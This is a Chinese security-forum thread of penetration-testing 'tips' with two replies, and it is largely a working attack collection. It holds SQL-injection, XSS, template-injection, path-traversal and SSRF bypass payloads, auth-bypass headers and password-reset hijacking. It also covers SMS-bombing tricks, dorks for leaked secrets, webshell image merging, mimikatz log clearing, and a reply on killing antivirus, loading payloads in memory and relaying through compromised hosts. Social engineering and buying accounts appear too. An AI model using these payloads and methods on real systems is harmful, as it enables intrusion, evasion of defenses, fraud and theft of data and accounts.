安全矩阵

 找回密码
 立即注册
搜索
查看: 6494|回复: 6

安全小TIPs( 不断更新)

[复制链接]

14

主题

16

帖子

318

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
318
发表于 2021-10-16 16:24:12 | 显示全部楼层 |阅读模式
1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。
2、程序溢出,int最大值为2147483647,可尝试使用该值进行整数溢出,观察现象。
3、403,404响应不灰心,尝试使用dirsearch等工具探测目录。
4、验证码简单绕过:重复使用,万能验证码(0000,8888),空验证码,验证码可识别(可用PKAV HTTP Fuzzer工具识别等)
5、短信轰炸绕过:手机号前加+86有可能会绕过,手机号输入邮箱,邮箱处输入手机号
6、如果验证码有实效,可尝试一段时间内重复发送获取验证码,因为有实效,所以有可能会延长验证码的时长。
7、SQL注入时,如果数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1,' %26%26 '1'='1。
8、SQL注入时,如果数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1
9、JWT格式在http://jwt.calebb.net/可以解密,前提是要知道秘钥,可以尝试构造任意数据,看他会不会有报错信息中携带秘钥信息,可以通过https://github.com/firebase/php-jwt生成JWT。JWT格式header.payload.signature
10、如果开放了redis服务(1234端口),可以尝试使用/actuator/redis/info语句看是否能读取敏感信息,如:http://www.xxx.com:1234/actuator/redis/info
11、Gitlab平台漏洞 - CVE-2020-10977
12、API接口处,可以自己构造参数,POST形式传参,可以尝试构造为JSON格式,记得添加content-type: application/json,一些可尝试参数,page,size,id。
13、手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。
14、图片验证码可设置为空,如:code=undefined
15、自动以验证码内容,观察Cookie中,参数中是否有发送给用户的内容,可以尝试更改,可以构造钓鱼链接。
16、模板注入,在{{xxx}}中输入的命令参数可被执行,如:
www.baidu.com/{{1+1}}
以Python为例,列出当前目录下所有文件的Payload:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
17、信息收集,在搜狗搜索中选择微信可以搜索相关企业相关公众号资产。
18、在JS文件中搜索关键字API,Swagger UI等等,尝试寻找API接口地址。
19、swagger接口常见路径:
/swagger/
/api/swagger/
/swagger/ui/
/api/swagger/ui/
/swagger-ui.html/
/api/swagger-ui.html/
/user/swagger-ui.html/
/swagger/ui/
/api/swagger/ui/
/libs/swaggerui/
/api/swaggerui/
/swagger-resources/configuration/ui/
/swagger-resources/configuration/security/
20、swagger组件特征固定title:Swagger UI
21、403和401的绕过小技巧:
22、盲测目录是否存在,如果存在该目录可能会自动在URL末尾添加/补全。
23、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
24、获取账号:文库,QQ群,github泄露,借/租/买账号。
25、如果泄露阿里云的 AKSK,可以使用AKSKtools工具进一步利用。https://xz.aliyun.com/t/8429   
26、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:
一、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
X-Original-URL: /xxx

二、GET /xxx HTTP/1.1 à403
Host: test.com
绕过:
GET /xxx HTTP/1.1 à200
Host: test.com
Referer: http://test.com/xxx

三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。
27、gopher协议使用限制:
28、一款生成gopher协议payload的工具:
https://github.com/firebroo/sec_tools
29、Dict协议写入流程:
1.写入内容;
dict://127.0.0.1:6379/set❌test

2.设置保存路径;
dict://127.0.0.1:6379/config:set:dir:/tmp/

3.设置保存文件名;
dict://127.0.0.1:6379/config:set:dbfilename:1.png

4.保存。
dict://127.0.0.1:6379/save
30、CentOS 7系统利用suid提权获取Root Shell
https://www.freebuf.com/articles/system/244627.html
31、xss中<a>标签利用的payload:
<a href=javascript:alert(1)>xx</a>
32、XSS过滤了单引号,等号可以:
①、使用:String.fromCharCode(97,108,101,114,116,40,49,41);
为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
eval(String.fromCharCode(97,108,101,114,116,40,49,41));
②、atob函数:
eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号
33、XSS过滤了单引号,等号以及圆括号,eval:
①、过滤了eval函数可以用其他函数去绕过,如:Function,constructor
Function`a${atob`YWxlcnQoMSk=`}```
``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```
34、可使用下面命令查看是否处在docker虚拟机中
cat /proc/1/cgroup
35、万能密码试试'=0#
36、CORS漏洞验证,可以使用curl来验证:
curl https://www.xxxx.com -H "Origin: https://test.com" -I
检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com
37、在盲测目标系统是否为Shiro时,可以在Cookie中手动构造rememebrMe=xxx,如果返回包中Set-Cookie中存在rememberMe=deleteMe,则证明该系统使用了Shiro,因此可以进一步攻击。38、使用正则获取网站中所包含的其他URL:
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
39、常见的一些远程命令执行(RCE)参数,详情,请看dicts目录下的RCE-extentions.txt文件。
40、绕过SSRF防护的几个小方法:
A、绕过SSRF限制通过CIDR,如:
http://127.127.127.127
http://127.0.0.0

B、不完整的地址,如:
http://127.1
http://0

C、将地址结合在通过特殊字符结合在一起,如:
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3

D、绕过解析器,如:
http://127.1.1.1:80\@127.2.2.2:80/

E、绕过localhost通过[::],如:
http://[::]:80/
http://0000::1:80/
41、几个常用的Google语法:
inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
42、通过favicon的hash来对比相关联的两个网站:
脚本地址:https://github.com/m4ll0k/Bug-Bo ... /master/favihash.py
命令:python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
43、一些本地包含参数,详情请看dicts目录下的LFI-extentions.txt文件。
44、在JavaScript文件中可以找一些隐藏的GET参数,比如:
首先,在js文件中找到一些变量,比如:var test="xss"
然后,可以尝试使用GET方法构造每一个参数,比如:
https://example.com/?test=”xsstest
本方法可能会发现一些XSS
45、使用github dorks帮助我们寻找一些敏感信息,比如:
extension:pem private
extension:ppk private
extension:sql mysql dump password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
extension:ica [WFClient] Password=
extension:avastlic “support.avast.com”
extension:js jsforce conn.login
extension:json googleusercontent client_secret
“target.com” send_keys
“target.com” password
“target.com” api_key
“target.com” apikey
“target.com” jira_password
“target.com” root_password
“target.com” access_token
“target.com” config
“target.com” client_secret
“target.com” user auth
通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
另外推荐一个脚本:https://github.com/techgaun/github-dorks
46、SSRF常见的参数,详情请看dicts目录下的SSRF-extensions.txt文件。
47、通过添加.json后缀,泄露一些敏感信息,比如:
一次正常请求:
GET /ResetPassword HTTP/1.1
{"email":"victim@example.com"}
响应:
HTTP/1.1 200 OK

添加.json后缀的请求:
GET /ResetPassword.json HTTP/1.1
{"email":"victim@example.com"}
响应:
HTTP/1.1 200 OK
{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
原链接:https://twitter.com/SalahHasoneh1/status/1293918353971531776
48、如果响应为401,可以试试在请求头中添加X-Custom-IP-Authorization: 127.0.0.1
49、利用火绒剑,配合微信发语音的方式,可以获取该人的登录IP。
50、目录穿越,敏感文件读取一些Payload:
\..\WINDOWS\win.ini
..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
.?\.?\.?\etc\passwd
../../boot.ini
%0a/bin/cat%20/etc/passwd
\\&apos;/bin/cat%20/etc/passwd\\&apos;
..%c1%afetc%c1%afpasswd
51、在访问admin路径面板时可以通过添加%20,来绕过,具体如下:
target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
52、在重置密码的地方,可以尝试添加另外一个次要的账号,比如,手机号,邮箱号等等,比如:
a、构造两个参数:
    email=victim@xyz.tld&email=hacker@xyz.tld
b、使用抄送方式:
    email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld
c、使用分隔符:
    email=victim@xyz.tld,hacker@xyz.tld
    email=victim@xyz.tld%20hacker@xyz.tld
    email=victim@xyz.tld|hacker@xyz.tld
d、不使用域名:email=victim
e、不使用顶级域名:email=victim@xyz
f、JSON情况:
{"email":["victim@xyz.tld","hacker@xyz.tld"]}
53、如果有利用邮箱重置密码功能的情况,而且还是JSON传输的情况下,使用SQLmap跑注入,可以将*(星号)放在@之前,比如:
{“email”:”test*@xxx.com”}
或者在*(星号)这个地方进行手注
原因大家可以看这里:https://tools.ietf.org/html/rfc3696#section-3

原文链接:https://www.infosecmatter.com/bu ... _sql_injection_json
54、可以获取目标站点的favicon.ico图标的哈希值,然后配合shodan进行目标站点资产收集,因为每个目标站点的favicon.ico图标的哈希值可能是固定值,因此可以通过该方法从shodan,fofa等等去寻找更多资产。简单的用法:
#python 3
import mmh3
import requests
import codecs
response = requests.get("https://www.baidu.com/favicon.ico")
favicon = codecs.encode(response.content,"base64")
hash = mmh3.hash(favicon)
print(hash)

或使用下面这个github项目:
https://github.com/devanshbatham/FavFreak

shodan搜索语句:http.favicon.hash:哈希值
fofa搜索语句:icon_hash="-247388890"(但仅限于高级用户使用)

原文链接:https://www.infosecmatter.com/bu ... con_hashes_favfreak
55、绕过403和401的小技巧:
a、添加以下请求头,比如:X-Originating-IP, X-Remote-IP, X-Client-IP, X-Forwarded-For等等;有可能会有一些白名单IP地址可以访问这些敏感数据。

b、如果使用GET方法访问某些路径,返回403,可以先访问允许访问的路径,然后在请求头中,添加下面的头:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin

c、可以使用下面这些Payload试试
/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#

原文链接:https://www.infosecmatter.com/bu ... _403_and_401_errors
56、如果访问/.git目录返回403,别忘了进一步访问下面的目录,比如:/.git/config
57、使用通配符绕过WAF,如果WAF拦截了RCE,LFI的payload,我们可以尝试使用通配符来绕过,比如:
/usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/?t?/p?s?wd
? = 任意的单个字符
* = 任意字符串,也包含置空的字符串
通配符在常见的系统中都适用,另外我们可以使用$IFS特殊变量取代空白
$IFS = 内部字段分隔符 = [space], [tab] 或者 [newline]

cat /etc$u/p*s*wd$u

小例子,执行/bin/cat /etc/passwd的写法:
/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/****/?at$IFS/???/*******swd

原文地址:https://www.infosecmatter.com/bu ... pass_using_globbing
58、绕过403的一个BurpSuit插件,地址:
https://github.com/sting8k/BurpSuite_403Bypasser
59、SSRF bypass列表,基于localhost(127.0.0.1),如下:
http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/
http://②⑧⑤②⓪③⑨①⑥⑥:80/
http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://0xd8.0x3a.0xd6.0xe3
http://0xd83ad6e3
http://0xd8.0x3ad6e3
http://0xd8.0x3a.0xd6e3
http://0330.072.0326.0343
http://000330.0000072.0000326.00000343
http://033016553343
http://3627734755
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://216.0x3a.00000000326.0xe3

原文链接:https://www.infosecmatter.com/bu ... or_localhost_127001
60、对于Apache shiro的CVE-2020-17523的未授权访问,是由于Spring+shiro结合造成的漏洞,可在路径后面添加%20,尝试访问该路径内容,造成未授权访问操作。
61、在一些验证码登录,找回密码等地方需要输入手机号,邮箱号的话,尝试配合SQL注入联合查询方式,填写可控手机号,实际情况实际分析。
62、密码爆破不如意,试试"密码喷洒攻击(Password Spray Attack)"法,多来收集用户名。
63、Exchange的下的目录以及功能介绍:
/autoDiscover/  自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp/“Exchange Control Panel”       Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/eWS/“Exchange Web Services”        Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi/      Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/microsoft-Server-ActiveSync/       用于移动应用程序访问电子邮件
/OAB/“Offline Address Book”     用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa/“Outlook Web APP”      Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powerShell/    用于服务器管理的Exchange管理控制台
/Rpc/   早期的Outlook还使用称为Outlook Anywhere的RPC交互
64、针对于Exchange的账号格式,可以尝试:domain\username、domian.com\username、username
65、一个验证域名是否使用了Exchange的脚本:https://github.com/vysecurity/checkO365
66、使用云函数的多出口特性,可以将其作为代理池来用。思路大概为:
流程:浏览器请求数据 -> 编写代理 -> 通过代理将数据传给api网关 -> api网关触发云函数并将参数作为event传入进云函数内 (然后反向流程将数据返回到浏览器中)
所以我们大致编写代码步骤为:
1、编写云函数,使用api网关做触发器,云函数主要处理api网关传来的数据,再将访问返回的数据包传会给api网关
2、编写代理代码,主要接收浏览器传来的数据,并将数据整理传给api网关,然后回到第一步。
注:这是一个思路,具体实现不局限于此,各位大佬各显神通吧~
67、常见的逻辑漏洞checklist
注册:
短信轰炸/验证码安全问题/密码爆破/邮箱轰炸
用户任意注册/批量注册
枚举用户名
XSS (在这里的话其实就是说遇到框你就插xss即可)
登录:
短信轰炸/验证码安全问题/密码爆破/邮箱轰炸
SQL注入
撞库
抓包把password字段修改成空值发送
认证凭证替换/比如返回的数据包中包含账号,修改账号就能登陆其他账号
Cookie仿冒
修改返回包的相关数据,可能会登陆到其他的用户
找回密码:       
短信邮箱轰炸/短信邮箱劫持
重置任意用户密码/验证码手机用户未统一验证
直接跳过验证步骤
购买支付/充值(主要还是利用抓包需要仔细的去看每一个可用参数):
交易金额/数量修改,替换支付模块 (这里也就是更换了支付的模块金额**)**
交易信息订单编码/导致信息泄露
整数溢出,int最大值为2147483647,超过最大值
修改充值账户
支付绕过
抽奖活动:
刷奖品/积分
并发(同时执行,看是否会多次减少次数)
优惠券/代金券:
并发逻辑漏洞(burp或者fd批量获取优惠劵等)
修改优惠券金额/数量
订单信息:
订单信息遍历/泄露
订单信息泄露导致用户信息泄露
删除他人订单
会员系统:
修改个人信息上传文件,上传带弹窗的html
如遇上上传xlsx/docx,可能存在xxe,上传恶意的文档盲测
图片上传也可能遇到imagereagick命令执行,上传恶意图片
视频上传如果使用ffmpeg<3.2.4(视频按帧分割成图片),上传恶意avi盲测ssrf
用户横向越权访问/遍历/导致用户信息泄露
SQL注入/个人简介处存储XSS 个人信息注册的名称也可以插入xss
传输过程:
明文传输账号密码
修改信息处无session/token导致csrf
POST/COOKIE注入
评论:
POST注入/存储XSS
无session/token导致CSRF
68、常见的漏洞位置
验证码问题:
万能验证码
返回包中存在验证码
删除验证码或者cookie中的值可以爆破账号密码
短信轰炸:
一直重放
删除修改cookie,重放数据包
遍历参数发送数据包
手机号后面加空格或者前面加其他的比如+86或者逗号分号等,然后重发数据包
请求参数修改大小写,或者添加请求参数比如&id=1
一个站的登陆处可能做了防护,但是再找回密码处可能没有安全防护,或者在注册流程中没有安全防护,所以说多测试接口
如果对手机号一天次数进行了限制的话,还可以在进行发送一次短信,DO intercept之后修改为成功回显
水平越权:
主要登陆后还是修改参数,主要找到**多个接口**不断测试
关注网页源代码,有时候会有表单,但是被bidden(隐藏标签)给隐藏起来了,可以修改返回包然后尝试获取数据检测
多个账号,主要分析请求参数
数据泄露:
在找回密码处,填写数据后抓包查看返回信息,有可能存在敏感数据返回
任意用户密码重置:
目前大部分都是在修改密码处参数修改
有些是前端验证
69、支付逻辑漏洞
(该部分参考Freebuf文章,作者名字:听闻他叫无剧)
1.边界值问题 : 正常的逻辑是用户购买商品,然后价格累加得到一个总价进行扣款。这个时候就会产生逻辑问题:如果说用户购买的商品是负数了,那么计算的总数就是负数。反过来钱给用户
                          
2.顺序执行缺陷:正常的逻辑是a-b-c-d 循环渐进的进行流程操作。这个时候就会产生逻辑问题:可以直接从中绕过某一个过程进入到下一步操作。如果说有一项是支付的操作,那么也就会产生支付绕过,如果说有一项是验证机制,就会绕过验证直接进入下一步。
                          
3.金额直接传输导致篡改:直接对下单的金额进行修改值,这里可以使用fd或者burp抓包
                          
4.确定支付之后还可以加入购物车:把商品放入购物车点击下单支付,会跳转到微信,支付宝等第三方支付平台。这个时候还可以继续在购物车中加入商品,支付结束之后,商家发放的商品是现在的购物车里面的东西。

5.请求重放:购买成功之后,继续重放请求,可以让购买的商品一直增加。购买成功之后,会有一个银行对商户网站跳转的过程,如果反复进行操作,有几率会导致商品反复购买和增加,但是不需要付更多的钱。

6.请求参数干扰:金钱做了签名认证之后,修改后不通过,但是在里面仍然会有一个参数对金额产生影响导致问题产生。

7.订单替换:订单替换发生在支付之后的事件处理,同时向服务器发起二次支付请求一个多一个少,支付金额少的,然后支付之后进行替换,告知服务器订单支付完成,并且过程可以反复的回放。

8.欺诈:需要两个收款人,一个是正常的商家,一个是伪造的商家

9.单位替换:产生在paypal类似的国际支付的场景。

10.用户替换:在支付过程中发生用户替换现象,首先登陆自己的账户,然后取得另外一个人的账户名等有效信息,在业务流程中用对方的用户名替换自己的用户名,用对方的余额购买完成后,再替换自己的账户名,这样就形成别人的钱买自己的东西
                          
11.强制攻击:强制攻击发生在暴力破解的情况下,如果一个商家运用一个自己的网店,接入第三方支付接口,由于设计上的不当导致商家与第三方支付约定的密钥Key可以单独被MD5加密,导致可以使用MD5碰撞技术对密钥进行破解,攻击者可以设计简单的密钥加密信息使得MD5加密是可以用MD5碰撞技术进行暴力破解。
                          
12.秘钥泄漏:内置支付功能的app为了设计上的方便有可能会把Md5或者是RSA的私钥泄漏导致攻击者反编译apk之后获取密钥信息使得交易信息可以被篡改。
                          
13.函数修改:apk反编译之后的函数修改,可能导致商家在最后一步向支付方提交订单时未验证信息的准确性,仍然被篡改。
                          
14.heart bleed:SSL(安全套接层)协议是使用最为普遍网站加密技术,而OpenSSL则是开源的 SSL 套件,为全球成千上万的web服务器所使用。Web服务器正是通过它来将密钥发送给访客然后在双方的连接之间对信息进行加密。URL中使用 https打头的连接都采用了SSL加密技术。在线购物、网银等活动均采用SSL技术来防止窃密及避免中间人攻击。

2021年01月21日 - 更新分界线,整理了来自一些师傅们留言贡献的渗透测试Tips:
1、至于登陆后台的网站,如果有重置密码功能,但被禁用了,可以找该公司技术qq群,假装用户忘记密码,提重置密码需求,让开通功能,可以验证下是否有任意密码重置漏洞。Author By:六六
2、如果遇见后台页面一闪而过,接着让你登录,一般使用了权限认证方式: 三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。 这个操作我每次试都是不成功的,但是可以修改返回的302为200,然后删除掉Location字段。Author By:Jokong
3、任意文件下载:/porc/self/cmdline --当前进程的cmdline参数,/var/lib/mlocate/mlocate.db --全文件路径。Author By:phage
4、容易发生短信轰炸的几个业务场景以及绕过方法:Author By:登登登Y
①:登录处 ②:注册处 ③:找回密码处 ④:绑定处 ⑤:活动领取处 ⑥:独特功能处 ⑦:反馈处
一般绕过限制方法:
手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, 以及特殊符号等
修改cookie,变量,返回
138888888889   12位经过短信网关取前11位,导致短信轰炸
5、注入的时候可以试试--%0a union --%0a select 尝试绕过。Author By:zhaoze
6、注入的时候,多看order by,group by,{$var}。Author By:oops33
7、手机号前加若干+会造成短信轰炸。Author By:ptgeft
8、如果在旁站中发现短信验证码在response中出现,可以试试主站或者其他站点中验证码是否通用。Author By:Alex125
9、获取短信验证码时,用逗号隔开两个手机号,有可能两个手机号能获取到同一个验证码。Author By:Scorpion


2021年01月26日 - 更新分界线,整理了来自一些师傅们留言贡献的渗透测试Tips:
1、测试注入 and ord(0x1) ->true,and ord(0x0) ->false。Author By:oops33
2、遇到文件读取漏洞,除了读取配置文件,还可以尝试读取网站文件,来进行代码审计,说不定就有开发疏忽的漏洞在源代码里。Author By:iwtbhero
3、使用python快速开启http服务器:Author By:ffffffff0x
基于python2.x,命令如下:
python -m SimpleHTTPServer 8000
# 在当前目录起个 8000 端口的 HTTP 服务

基于python3.x,命令如下:
python -m http.server 8000
4、渗透时尽量不要暴露自己的 IP 地址,挂代理是必须的。Author By:ffffffff0x
5、整理字典时,推荐用linux下的工具快速合并和去重。Author By:ffffffff0x
cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt

2021年01月29日 - 更新分界线,整理了来自一些师傅们留言贡献的渗透测试Tips:
1、注入时使用url编码对&&和||编码可以绕过一些拦截。例如:Author By:jettt
1' and 1=1--+
1' %26%26 True--+
同理其他编码也可以试一个遍。
2、信息收集的时候可以使用fofa查看证书看是否是真实IP 语法 cert="baidu.com"。Author By:zhaoze
3、将普通图片1.jpg 和 木马文件shell.php ,合并成木马图片2.jpg:Author By:Lstarx
$ copy /b 1,jpg+shell.php 2.jpg
4、mimikatz小功能:Author By:Rive丶
多用户登录3389:ts::multirdp
清除日志:event::drop
粘贴板信息:misc::clip

2021年02月04日 - 更新分界线,整理了来自一些师傅们留言贡献的渗透测试Tips:
以下来自xinxin999师傅的贡献:
1、{“id”:111} --> 401 Unauthriozied    {“id”:[111]}-->200 OK   {“id”:{“id”:111}} --> 200 OK  {“id”:{“id”:[111]}} --> 200 OK
2、测试注入的时候,可以psot/get更换,自定义一些参数,删除一些参数,加上分块,以及burp有时候有这种口口符号,可以删除在测payload。
3、wp的站,如果扫到,xmlrpc这个文件,我们可以借鉴这篇文章https://blog.csdn.net/u012206617/article/details/109002948
4、看见同行的马,我们可以加一些参数让其密码溢出来。例如a.asp?profile=a
5、如果注入出的md5只有31位,可以去掉前8位和后8位,用中间的16位

以下来自Wafer师傅的贡献:
6、快速web路径,sql注入下找路径。
dir /s /b e:\”Web.config"
type e:\b2cexam\web.config  
7、列出网站物理路径
%systemroot%\system32\inetsrv\appcmd.exe list vdir
8、列出机器所有盘符(禁止访问的盘无法获取)
wmic logicaldisk where drivetype=3 get deviceid
以下来自lidasimida师傅的贡献:
9、burpsuite的intruder模块的爆破功能:
ssrf绕过举例:http://127.0.0.1:0~65535,有时间的话可以尝试爆破多个端口来爆破,里面的地址也可以更改为已知确认的内网地址。还有就是http://127.0.0.1/a的a目录进行枚举,有些是可以枚举成功的,有些是枚举不了的,这个a目录最好为已知的403目录,如果403绕不过去可以搜集为临时字典,然后使用爆破。
目录穿越绕过举例:不一定是/../etc/password就可以绕过,建议可以配置字典,第一个为/..第二个为/../..以此类推来爆破,爆破还可以选中intruder——payloads——payload encoding,编码爆破也是可以的,目录穿越来爆破还是不错的。
字典组合模块:payloads——payload sets——custom iterator
10、dnslog外带注入
shiro反序列化、fastjson反序列化、sql注入外带注入、xss外带注入、内网漫游(nginx的反向代理会导致内网漫游,在请求头添加dnslog地址即可)
11、密码解密小技巧
输入同一个密码多次抓包发现密码固定值加密,可以搜集多个弱口令进行用户名爆破
输入同一个密码多次抓包发现密码不是固定值加密,可以将多组密码对比,可能奇数位或偶数位一致,之前审计一组加密代码发现,减去前4位和后8位共12位随机数之后,再减去奇数位的随机数,得到偶数位的编码格式为base64编码。(https://www.freebuf.com/articles/web/261440.html
12、信息收集
置换请求头,插件User-Agent switch,可以更改请求方式访问Android、iPhone、ipad等可以访问的页面,可能会访问到浏览器访问不到的信息。
白马单绕过插件:X-Forwarded-For Header,建议测试后关闭,有些网站你勾选了会无法正常访问。
13、上传的请求包有两个请求参数同为php,修改其中一个为1.jpg,另外一个为1.php
将文件后缀做个编码尝试,看看后端会不会有解码,或者单独将文件后缀一个字母或两个字母做编码,编码可以是十六进制、Unicode编码、base64编码单独。
在1.jpg.php的.php前面插入多行换行符或者垃圾数据,插入多个/试试。文件后缀使用通配符*或者?或者其他。


14、 信息收集的时候可以使用fofa查看证书看是否是真实IP 语法 cert="baidu.com"。Author By:zhaoze

回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
发表于 2021-10-16 16:40:06 | 显示全部楼层
本帖最后由 CDxiaodong 于 2021-10-16 16:44 编辑

由于是NET平台,可以先搜集以下所有相同系统的站点。然后扫一扫备份之类的。常见的字典如: web.rar 备份.rar

不能使用默认冰蝎和普通菜刀,去找一下面杀版的,蚁剑 behinder
Nessus(系统扫描与分析软件)
Application.evtx文件—日志分析
仿写,抄写脚本
同类系统查询找漏洞
遇到url的 forbidon 可以扫录试试
御剑web指纹识别
源码中可能有后台连接
使用ipc连接域控,注意这里需要用主机名而不能用ip
上传jsp的shell的话可以直接网页输入命令。
一般情况下往png后加个特殊字符能认为它是白名单不能进行绕过
反序列化的真正本质-类的调用过程-涉及java classloader(类加载器,利用java做框架的人普遍得学)
多学英语,国外漏洞都是英语

linux提权首选脏牛提权
高级mock是一种给服务器主机增加协议过滤ip等(通过脚本)的东西,那么也能够在高级mock中添加某种脚本文件来获取系统操作权限
定期刷漏洞库

在线力公系统的稿件是不能随意看到的,通常也是需要登录才能看到的。之所以在 hadkbar 能正常输入输出,是因为 Firefox 有 cooke .菜刀是没法填 cookie 的,需要到中国蚁刽,默认蚊剑也没有 cooke ,需要自己从浏览器复制进去所以大家在滲透的时候,遇到问题,可以换个浏览器访问看看,一个是因为 cooke 的问题,另外一个是目标站点对浏览器的适配可能有差别,导致看到的东西不一样,也是会影响到最终的渗透结果的。

fofa验证 docker 的两个小方法
ps -ef :docker 一般显示很少的进程
ls -a /.dockerenv

RCE(远程代码执行):是互联网的一种安全漏洞。
SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务。
使用docker搭建靶场什么的比较好(docker是大佬对漏洞进行复现后写出来的docker文件,减少错误)

传txt 后html 后传hallo word 最后再传免杀

固定中间件端口 ip变化  遍历构造看下能不能ping出来

如果的能ping出来的再用工具找洞


0x03 PowerShell内存执行exe

这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步
先将生成的payload在本地进行base64编码

靶机执行远程下载命令

靶机对payload进行解码并赋值给一个变量

PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload




火绒权限大于360权限大于安全狗 可以注入火绒然后再把360和安全狗杀了
但是比较难 不过可以注入360吧360自己和安全狗给杀了(还剩360主动防御)
taskkill杀火绒
注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了
火绒的父进程是service.exe,可以注入到service.exe中,用service.exe杀Hips*.exe

分析找线索做表字典
进去后先截图既能留作证据又能用于后面隐藏

打进去后截屏装载荷,添加信任

porttunnel 打进去后,将里面的windowsmicrosft防火墙关掉。然后再在肉鸡或者云服务器第一栏填肉鸡转发出去的ip加端口,第二栏写打进去的服务器的ip加端口。再在本地机用cs监听
cs可以配置两个端口,一个是打的服务器的 一个是肉鸡的。 还能配置多个云服务器装porttunnel进行转发



回复

使用道具 举报

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2021-11-12 12:10:41 | 显示全部楼层
1、如果提示缺少参数,如{msg:params error},可尝使用字典模糊测试构造参数,进一步攻击。


2、程序溢出,int最大值为2147483647,可尝试使用该值进行整数溢出,观察现象。


3、403,404响应不灰心,尝试使用dirsearch等工具探测目录。


4、验证码简单绕过:重复使用,万能验证码(0000,8888),空验证码,验证码可识别(可用PKAV HTTP Fuzzer工具识别等)


5、短信轰炸绕过:手机号前加+86有可能会绕过,手机号输入邮箱,邮箱处输入手机号


6、如果验证码有实效,可尝试一段时间内重复发送获取验证码,因为有实效,所以有可能会延长验证码的时长。


7、SQL注入时,如果数据库是Mysql,可以尝试使用&&替换and,如:' && '1'='1,' %26%26 '1'='1。

8、SQL注入时,如果数据库是Mysql,waf过滤了=,可尝试用like替代。如:and 1 like 1

9、JWT格式在jwt.calebb.net/可以解密,前提是要知道秘钥,可以尝试构造任意数据,看他会不会有报错信息中携带秘钥信息,可以通过github.com/firebase/php生成JWT。

JWT格式header.payload.signature

10、如果开放了redis服务(1234端口),可以尝试使用/actuator/redis/info语句看是否能读取敏感信息,如:xxx.com:1234/actuator/r

11、Gitlab平台漏洞 - CVE-2020-10977

12、API接口处,可以自己构造参数,POST形式传参,可以尝试构造为JSON格式,记得添加content-type: application/json,一些可尝试参数,page,size,id。

13、手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。

他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字

